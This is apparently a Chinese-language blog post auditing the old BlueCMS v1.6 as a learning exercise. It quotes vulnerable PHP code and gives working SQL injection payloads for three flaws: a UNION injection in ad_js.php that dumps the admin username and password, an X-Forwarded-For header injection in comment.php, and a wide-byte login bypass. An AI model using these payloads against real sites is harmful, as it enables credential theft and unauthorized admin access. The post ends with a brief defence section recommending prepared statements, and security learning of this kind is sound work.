Bluecms-v1.6-Audit

这一次是想学一下代码审计,先从SQL注入开始,所以一章的内容都是关于SQL注入的。
这次的例子是bluecms v1.6, 因为这一个cms比较简单,比较适合新手。 so,let’s start.

第一个发现-数值型注入绕过空格

用seay的代码审计工具,在第一条我们发现了ad_js.php有一个select语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
if($ad['time_set'] == 0)
{
$ad_content = $ad['content'];
}
else
{
if($ad['end_time'] < time())
{
$ad_content = $ad['exp_content'];
}
else
{
$ad_content = $ad['content'];
}
}
$ad_content = str_replace('"', '\"',$ad_content);
$ad_content = str_replace("\r", "\\r",$ad_content);
$ad_content = str_replace("\n", "\\n",$ad_content);
echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";

可以看到,这个$ad_id是直接拼接的,而且未用引号, 那么向上看,它从哪来的。
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''
也就是说,如果参数ad_ido不为空,那么就trim一下。将空格去掉。
再往上翻,有一个include/common.inc.php
查看了一下关键代码,其中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
$timezone = "PRC";
if(PHP_VERSION > '5.1')
{
date_default_timezone_set($timezone);
}
$timestamp = time();
$online_ip = getip();

deep_addslashes函数是在同目录下的common.fun.php文件夹下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function deep_addslashes($str)
{
if(is_array($str))
{
foreach($str as $key=>$val)
{
$str[$key] = deep_addslashes($val);
}
}
else
{
$str = addslashes($str);
}
return $str;
}

但是这和我们现在分析的这一个漏洞没有关系。因为并没有用引号引起来。所以我们可以用/**/注释或者其他的方法如括号,```来绕过空格的限制。试一下。
如果不带数值的话

1
用order by 测试一下列数

2 3
可以测出有7列
看代码echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";输出了$ad[content]的内容。测试一下字段发现在第6个字段
4
然后可以手工跑一下,或者放sqlmap。
使用payload

1
1/**/union/**/select/**/0,0,0,0,0,group_concat(table_name,0x7e5e7e),0/**/from/**/information_schema.tables/**/where/**/table_schema=database()

可以将表名都跑出来
paydload

1
1/**/union/**/select/**/0,0,0,0,0,group_concat(column_name,0x7e5e7e),0/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x626c75655f61646d696e

可以将数据库中表名为blue_admin所有的列表跑出来。
5

payload:

1
1/**/union/**/select/**/0,0,0,0,0,group_concat(admin_name,0x7e5e7e,pwd),0/**/from`blue_admin`

可以将admin的帐号密码跑出来
6

第二个发现-updatexml与多值上传

在seay审计工具中,发现第四个疑似注入点在comment.php为:

1
2
3
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);

其中$id, $user_id等都被intval,htmlspecialchars等做过处理,但是发现了一个getip()是被直接带入的。在/include/common.fun.php中,发现了getip()的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}

这里由X-Forwared-For,Client-Ip字段得到IP值,然后没过滤就带入INSERT插入。
在这里我考虑的是报错。因为可以用updatexmlextractvalue函数来报错。但是往上翻到mysql.class.php,看到query的返回值是返回查询语句并不是错误。所以这一条放弃。

1
2
3
4
5
6
7
function query($sql){
if(!$query=@mysql_query($sql, $this->linkid)){
$this->dbshow("Query error:$sql");
}else{
return $query;
}
}

10

只能考虑重新插入一条数据。
payload:

1
X-Forwarded-For: 111','1'),('','1','0','1','11', select(select concat(admin_name,0x5e7e5e, pwd) from blue_admin limit 1),'1489845692','1

7

第三个发现-宽字节注入绕过登录

在做前两步的时候,发现返回的类型里边是db2312,而不是utf-8,这就有可能是宽字节注入呀。
首先我们在前台登录
8

发现提示不能在管理用户不能在前台登录..这意思是让我们去后台?
9
那我们看一下登录的代码。在admin/login.php文件夹下
找到了do_login

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
elseif($act == 'do_login'){
$admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : '';
$admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : '';
$remember = isset($_POST) ? intval($_POST['rememberme']) : 0;
if($admin_name == ''){
showmsg('Óû§Ãû²»ÄÜΪ¿Õ');
}
if($admin_pwd == ''){
showmsg('Óû§ÃÜÂë²»ÄÜΪ¿Õ');
}
if(check_admin($admin_name, $admin_pwd)){
update_admin_info($admin_name);
if($remember == 1){
setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400);
setcookie('Blue[admin_name]', $admin_name, time()+86400);
setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400);
}
}else{
showmsg('ÄúÊäÈëµÄÓû§ÃûºÍÃÜÂëÓÐÎó');
}
showmsg('»¶Ó­Äú '.$admin_name.' »ØÀ´£¬ÏÖÔÚ½«×ªÏò¹ÜÀíÖÐÐÄ...', 'index.php');
}

接着我们看一下check_admin函数,在 admin/include/common.fun.php文件里边

1
2
3
4
5
6
7
8
9
10
11
12
13
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}

经典的注入问题。虽然$name经过了deep_addslashes的处理,但是在宽字节的情况下还是可以绕过的。

1
admin_name=xxx%df'/**/or/**/1=1%23&password=123

的payload就可以绕过。

感想

虽然代码审计很枯燥,但是成就感是相当大的。 其实这个CMS还有很多数字型注入,但是大多数是在update,insert等操作下,因为前边的原因,sql的错误原因不能回显,所以不能利用.., 虽然这个比较简单,但 这是我的入门, 希望以后能多分析一下,向大牛学习。 最后如果有什么错误,请大家指正。

防护

最近其实SQL注入已经可以很好的做防护了,但是还是有某些开发人员的水平参差不齐,导致了这类事件的发生。所以防护的话首推预处理, 或者利用一些成熟的框架。或者用在线的防护产品。但是防护产品也可能会被绕过。所以最主要的是有安全的意识,将SQL注入扼杀在摇篮里。

文章目录
  1. 1. 第一个发现-数值型注入绕过空格
  2. 2. 第二个发现-updatexml与多值上传
  3. 3. 第三个发现-宽字节注入绕过登录
  4. 4. 感想
  5. 5. 防护
|